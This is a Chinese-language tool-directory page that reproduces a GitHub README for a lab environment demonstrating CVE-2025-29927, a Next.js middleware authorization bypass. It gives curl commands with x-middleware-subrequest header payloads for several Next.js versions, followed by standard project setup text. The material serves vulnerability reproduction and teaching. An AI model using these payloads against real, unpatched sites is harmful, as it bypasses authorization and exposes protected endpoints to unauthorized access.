Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
vulnerable-nextjs-14-CVE-2025-29927 — CVE-2025-29927的复现环境,演示通过x-middleware-subrequest头绕过Next.js中间件授权。包含针对多个Next.js版本的基于curl的利用步骤。 | Kitploit
工具/GitHubGitHub/lirantal/vulnerable-nextjs-14-cve-2025-29927
身份验证与授权漏洞分析Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHublirantal/vulnerable-nextjs-14-cve-2025-29927

vulnerable-nextjs-14-CVE-2025-29927

CVE-2025-29927的复现环境,演示通过x-middleware-subrequest头绕过Next.js中间件授权。包含针对多个Next.js版本的基于curl的利用步骤。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
148193个月前尚未审核

CVE-2025-29927 授权绕过复现

本仓库是对 next 包中 CVE-2025-29927 漏洞的复现。

如何复现

  1. 按照以下步骤克隆并运行 Next.js 应用程序
  2. 测试授权是否拒绝访问 /api/hello 端点
$ curl http://localhost:3000/api/hello

{"error":"Unauthorized"}%
  1. 测试在提供令牌时授权是否正常工作
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello

{"message":"Hello World"}%
  1. 现在,如果我们将 middleware 嵌套 5 次放入特殊的 x-middleware-subrequest 请求头中,也可以绕过授权:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello

{"message":"Hello, World"}

针对旧版 Next.js 的 CVE-2025-29927 利用

Next.js 12 和 13 版本过去对中间件文件(_middleware.js)采用不同的命名约定,在 Next.js 14 中已更改为 middleware.js。通过使用 _middleware.js 文件,可以在旧版本中利用此漏洞。

例如,根据 Next.js 版本和路由约定,以下 payload 将适用:

  • curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (适用于 Next.js 12.2 版本,且 middleware.js 文件位于应用根目录(不在 pages 目录内))
    • curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hello
  • curl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (适用于 Next.js 11 至 12.2 版本)
  • curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hello
  • curl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/hello

开始使用

首先,运行开发服务器:

npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev

在浏览器中打开 http://localhost:3000 以查看结果。

你可以通过修改 app/page.js 来开始编辑页面。当你编辑文件时,页面会自动更新。

此项目使用 next/font 自动优化和加载 Geist,这是一个适用于 Vercel 的新字体系列。

了解更多

要了解更多关于 Next.js 的信息,请查看以下资源:

  • Next.js 文档 - 了解 Next.js 的功能和 API。
  • 学习 Next.js - 一个交互式 Next.js 教程。

你可以查看 Next.js GitHub 仓库 - 欢迎提供反馈和贡献!

部署到 Vercel

部署你的 Next.js 应用最简单的方法是使用由 Next.js 创建者提供的 Vercel 平台。

请查看我们的 Next.js 部署文档 了解更多详情。

贡献

请查阅 CONTRIBUTING 了解有关为本项目做出贡献的指南。

下载工具